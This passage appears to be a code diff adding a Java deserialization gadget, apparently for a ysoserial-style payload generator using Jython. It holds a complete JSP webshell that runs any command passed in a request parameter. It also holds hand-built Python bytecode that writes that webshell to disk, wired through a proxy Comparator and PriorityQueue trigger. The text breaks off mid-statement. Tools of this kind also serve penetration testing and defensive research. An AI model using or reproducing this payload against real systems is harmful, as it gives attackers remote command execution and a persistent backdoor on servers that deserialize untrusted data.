{
+
+ public PriorityQueue getObject(String path) throws Exception {
+
+ // Set payload parameters
+ String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" +
+ "\n" +
+ "\n" +
+ "<%\n" +
+ "if (request.getParameter(\"cmd\") != null) {\n" +
+ "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"
\");\n" +
+ "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
+ "OutputStream os = p.getOutputStream();\n" +
+ "InputStream in = p.getInputStream();\n" +
+ "DataInputStream dis = new DataInputStream(in);\n" +
+ "String disr = dis.readLine();\n" +
+ "while ( disr != null ) {\n" +
+ "out.println(disr);\n" +
+ "disr = dis.readLine();\n" +
+ "}\n" +
+ "}\n" +
+ "%>\n" +
+ "";
+
+ // Python bytecode to write a file on disk
+ String code =
+ "740000" + // 0 LOAD_GLOBAL 0 (open)
+ "640100" + // 3 LOAD_CONST 1 ()
+ "640200" + // 6 LOAD_CONST 2 ('w')
+ "830200" + // 9 CALL_FUNCTION 2
+ "690100" + // 12 LOAD_ATTR 1 (write) ??
+ "640300" + // 15 LOAD_CONST 3 ()
+ "830100" + // 18 CALL_FUNCTION 1
+ "01" + // 21 POP_TOP
+ "640000" + // 22 LOAD_CONST
+ "53"; // 25 RETURN_VALUE
+
+ // Helping consts and names
+ PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)};
+ String[] names = new String[]{"open", "write"};
+
+ // Generating PyBytecode wrapper for our python bytecode
+ PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "", 0, "");
+ Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
+
+ // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
+ PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
+
+ // Prepare Trigger Gadget
+ Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class>[]{Comparator.class}, handler);
+ PriorityQueue